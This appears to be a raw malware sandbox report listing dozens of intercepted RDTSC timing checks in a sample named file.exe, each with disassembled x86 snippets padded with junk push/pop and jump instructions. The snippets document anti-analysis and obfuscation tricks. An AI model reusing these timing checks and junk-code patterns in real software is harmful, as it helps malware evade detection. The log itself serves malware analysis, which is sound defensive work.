Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B3C2 second address: 57B3E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7BB475B408h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B3E4 second address: 57B419 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F7BB4E67DDEh 0x00000013 mov eax, dword ptr [eax] 0x00000015 push edx 0x00000016 jg 00007F7BB4E67DDCh 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B419 second address: 57B41F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B41F second address: 57B424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57CABC second address: 57CADB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7BB475B405h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57CADB second address: 57CAE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57CAE1 second address: 57CAE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 583109 second address: 58310D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58310D second address: 583128 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7BB475B405h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581DE5 second address: 581E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F7BB4E67DD6h 0x0000000a pop ecx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007F7BB4E67DE8h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58253C second address: 582545 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5826F7 second address: 582701 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F7BB4E67DD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582701 second address: 582705 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58287E second address: 582883 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5173F6 second address: 5173FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5173FC second address: 517402 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A869 second address: 58A86E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A86E second address: 58A877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A877 second address: 58A87D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A87D second address: 58A881 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A881 second address: 58A893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F7BB475B3F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5896B6 second address: 5896BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5896BA second address: 5896BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F839 second address: 54F83F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54FD49 second address: 54FD4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550257 second address: 5502CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7BB4E67DDEh 0x00000008 jmp 00007F7BB4E67DDFh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 mov dh, D7h 0x00000015 push 00000004h 0x00000017 push 00000000h 0x00000019 push edx 0x0000001a call 00007F7BB4E67DD8h 0x0000001f pop edx 0x00000020 mov dword ptr [esp+04h], edx 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc edx 0x0000002d push edx 0x0000002e ret 0x0000002f pop edx 0x00000030 ret 0x00000031 push esi 0x00000032 mov ecx, dword ptr [ebp+122D376Ah] 0x00000038 pop edx 0x00000039 nop 0x0000003a push esi 0x0000003b jmp 00007F7BB4E67DDAh 0x00000040 pop esi 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F7BB4E67DE1h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5502CC second address: 5502D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550976 second address: 55097A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550A77 second address: 550A7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550A7D second address: 550A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550B85 second address: 53642C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7BB475B40Bh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F7BB475B3F8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 add dword ptr [ebp+122D30E1h], esi 0x0000002b call dword ptr [ebp+122D3194h] 0x00000031 jo 00007F7BB475B410h 0x00000037 jo 00007F7BB475B3F8h 0x0000003d push edx 0x0000003e pop edx 0x0000003f jc 00007F7BB475B402h 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53642C second address: 536432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58996D second address: 589997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jng 00007F7BB475B40Eh 0x0000000d jmp 00007F7BB475B408h 0x00000012 pop edx 0x00000013 push edi 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589997 second address: 58999F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58999F second address: 5899AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7BB475B3F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589B33 second address: 589B5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F7BB4E67DF6h 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589B5C second address: 589B60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589B60 second address: 589B64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589B64 second address: 589B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 589E2F second address: 589E39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F7BB4E67DD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A2DA second address: 58A2DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A2DE second address: 58A2E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58A2E2 second address: 58A2E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5909B2 second address: 5909DE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7BB4E67DD6h 0x00000008 jl 00007F7BB4E67DD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F7BB4E67DE5h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F478 second address: 58F47E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F47E second address: 58F484 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F62E second address: 58F639 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jbe 00007F7BB475B3F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58F960 second address: 58F97F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7BB4E67DD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F7BB4E67DE3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590387 second address: 59038C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590824 second address: 590828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590828 second address: 59082C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59082C second address: 590836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 590836 second address: 59083A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59083A second address: 590843 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59437E second address: 594391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F7BB475B3FCh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50B686 second address: 50B6F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jo 00007F7BB4E67DD6h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F7BB4E67DE3h 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 jp 00007F7BB4E67DFEh 0x0000001e jmp 00007F7BB4E67DE2h 0x00000023 jmp 00007F7BB4E67DE6h 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b jmp 00007F7BB4E67DDCh 0x00000030 popad 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 ja 00007F7BB4E67DD6h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A660 second address: 59A66A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7BB475B402h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A66A second address: 59A670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A670 second address: 59A68F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F7BB475B3FCh 0x0000000f pop eax 0x00000010 jp 00007F7BB475B3FCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A68F second address: 59A697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A697 second address: 59A69D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59AC74 second address: 59ACA8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jo 00007F7BB4E67DD6h 0x00000009 pop ebx 0x0000000a jmp 00007F7BB4E67DE1h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 je 00007F7BB4E67DD6h 0x0000001b jno 00007F7BB4E67DD6h 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push edx 0x00000025 pop edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59ACA8 second address: 59ACAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59ACAC second address: 59ACC1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jl 00007F7BB4E67DD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jng 00007F7BB4E67DD6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59ACC1 second address: 59ACC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59A3AE second address: 59A3D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F7BB4E67DE9h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B0A5 second address: 59B0AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B6B6 second address: 59B6BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59B6BC second address: 59B6DF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F7BB475B409h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59D0F6 second address: 59D0FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A04E0 second address: 5A04EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A04EA second address: 5A04F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A04F3 second address: 5A04F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A04F9 second address: 5A04FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59FFFF second address: 5A0003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A0003 second address: 5A0018 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7BB4E67DD6h 0x00000008 jl 00007F7BB4E67DD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop ecx 0x00000011 push esi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A0162 second address: 5A018D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7BB475B412h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A018D second address: 5A0191 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2AB3 second address: 5A2AE1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7BB475B407h 0x00000008 jmp 00007F7BB475B3FEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2AE1 second address: 5A2AEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2AEB second address: 5A2AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A2AF1 second address: 5A2B0F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7BB4E67DD6h 0x00000008 jmp 00007F7BB4E67DE1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A25F2 second address: 5A260B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 push ebx 0x00000007 jnc 00007F7BB475B3FEh 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A277A second address: 5A27A8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7BB4E67DD6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007F7BB4E67DE9h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 pop eax 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A27A8 second address: 5A27AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A27AC second address: 5A27BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BB4E67DDCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7B41 second address: 5A7B5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F7BB475B3F8h 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jc 00007F7BB475B3F6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7B5B second address: 5A7B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7B5F second address: 5A7B65 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7B65 second address: 5A7B6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A6FE8 second address: 5A7025 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7BB475B403h 0x00000008 jmp 00007F7BB475B406h 0x0000000d jl 00007F7BB475B3F6h 0x00000013 jl 00007F7BB475B3F6h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7025 second address: 5A7029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A7029 second address: 5A702D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5A73EC second address: 5A7414 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7BB4E67DE3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F7BB4E67DDFh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AF440 second address: 5AF45A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jc 00007F7BB475B3F6h 0x0000000c popad 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F7BB475B3F6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AF45A second address: 5AF45E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
